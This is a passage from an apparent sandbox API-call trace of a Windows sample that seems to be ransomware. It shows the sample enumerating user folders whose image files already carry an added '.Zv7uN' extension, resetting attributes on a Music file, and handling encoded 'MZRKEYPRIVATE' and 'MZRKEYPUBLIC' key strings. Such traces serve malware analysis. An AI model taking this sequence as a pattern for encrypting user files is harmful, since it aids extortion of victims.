lpLocalFileTime=0x18f74c) returned 1 [0085.685] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.685] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e7ab40, ftCreationTime.dwHighDateTime=0x1d5e4e7, ftLastAccessTime.dwLowDateTime=0x36942f90, ftLastAccessTime.dwHighDateTime=0x1d5e059, ftLastWriteTime.dwLowDateTime=0x50ea5a20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8043, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7lZfRGVx.png.Zv7uN", cAlternateFileName="7LZFRG~1.ZV7")) returned 1 [0085.685] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.685] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.685] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b2386d0, ftCreationTime.dwHighDateTime=0x1d5e13e, ftLastAccessTime.dwLowDateTime=0x423098d0, ftLastAccessTime.dwHighDateTime=0x1d5d9a5, ftLastWriteTime.dwLowDateTime=0x50f17e40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x11c01, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="9jjfu1YS.jpg.Zv7uN", cAlternateFileName="9JJFU1~1.ZV7")) returned 1 [0085.685] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.685] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.685] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf33fc80, ftCreationTime.dwHighDateTime=0x1d5dee7, ftLastAccessTime.dwLowDateTime=0xbcbc47e0, ftLastAccessTime.dwHighDateTime=0x1d5e6e6, ftLastWriteTime.dwLowDateTime=0x50f3dfa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xdf17, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Rkv tdZAdg61X2zGJw.bmp.Zv7uN", cAlternateFileName="RKVTDZ~1.ZV7")) returned 1 [0085.685] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.685] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.685] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde473390, ftCreationTime.dwHighDateTime=0x1d5e545, ftLastAccessTime.dwLowDateTime=0xa58f9ba0, ftLastAccessTime.dwHighDateTime=0x1d5de5b, ftLastWriteTime.dwLowDateTime=0x50f8a260, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbb83, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="TtSX604s.png.Zv7uN", cAlternateFileName="TTSX60~1.ZV7")) returned 1 [0085.685] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.685] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.685] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5579acf0, ftCreationTime.dwHighDateTime=0x1d5dbc7, ftLastAccessTime.dwLowDateTime=0xb5ef97b0, ftLastAccessTime.dwHighDateTime=0x1d5e3ed, ftLastWriteTime.dwLowDateTime=0x50fd6520, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe267, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_HqTmD-7I2qdeb1.gif.Zv7uN", cAlternateFileName="_HQTMD~1.ZV7")) returned 1 [0085.685] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.685] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.685] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5579acf0, ftCreationTime.dwHighDateTime=0x1d5dbc7, ftLastAccessTime.dwLowDateTime=0xb5ef97b0, ftLastAccessTime.dwHighDateTime=0x1d5e3ed, ftLastWriteTime.dwLowDateTime=0x50fd6520, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe267, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_HqTmD-7I2qdeb1.gif.Zv7uN", cAlternateFileName="_HQTMD~1.ZV7")) returned 0 [0085.686] GetLastError () returned 0x12 [0085.686] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0085.686] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa976f0, ftCreationTime.dwHighDateTime=0x1d5d89b, ftLastAccessTime.dwLowDateTime=0x1b4d1ac0, ftLastAccessTime.dwHighDateTime=0x1d5e550, ftLastWriteTime.dwLowDateTime=0x1b4d1ac0, ftLastWriteTime.dwHighDateTime=0x1d5e550, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="ZJXH", cAlternateFileName="")) returned 0 [0085.686] GetLastError () returned 0x12 [0085.686] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0085.686] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=13, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 1 [0085.689] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music")) returned 0x11 [0085.689] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=13, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 1 [0085.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb26c800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb26c800, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0085.689] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb26c800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb26c800, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0085.689] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22515da0, ftCreationTime.dwHighDateTime=0x1d5da0f, ftLastAccessTime.dwLowDateTime=0xee94a310, ftLastAccessTime.dwHighDateTime=0x1d5e476, ftLastWriteTime.dwLowDateTime=0xee94a310, ftLastWriteTime.dwHighDateTime=0x1d5e476, nFileSizeHigh=0x0, nFileSizeLow=0x1649a, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="2Q1cA1bTINna.wav", cAlternateFileName="2Q1CA1~1.WAV")) returned 1 [0085.689] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0085.690] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.690] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q1cA1bTINna.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q1ca1btinna.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22515da0, ftCreationTime.dwHighDateTime=0x1d5da0f, ftLastAccessTime.dwLowDateTime=0xee94a310, ftLastAccessTime.dwHighDateTime=0x1d5e476, ftLastWriteTime.dwLowDateTime=0xee94a310, ftLastWriteTime.dwHighDateTime=0x1d5e476, nFileSizeHigh=0x0, nFileSizeLow=0x1649a)) returned 1 [0085.690] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q1cA1bTINna.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2q1ca1btinna.wav")) returned 0x20 [0085.690] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2Q1cA1bTINna.wav", dwFileAttributes=0x80) returned 1 [0085.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.693] GetCurrentThreadId () returned 0xa30 [0085.693] GetCurrentThreadId () returned 0xa30 [0085.693] GetCurrentThreadId () returned 0xa30 [0085.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 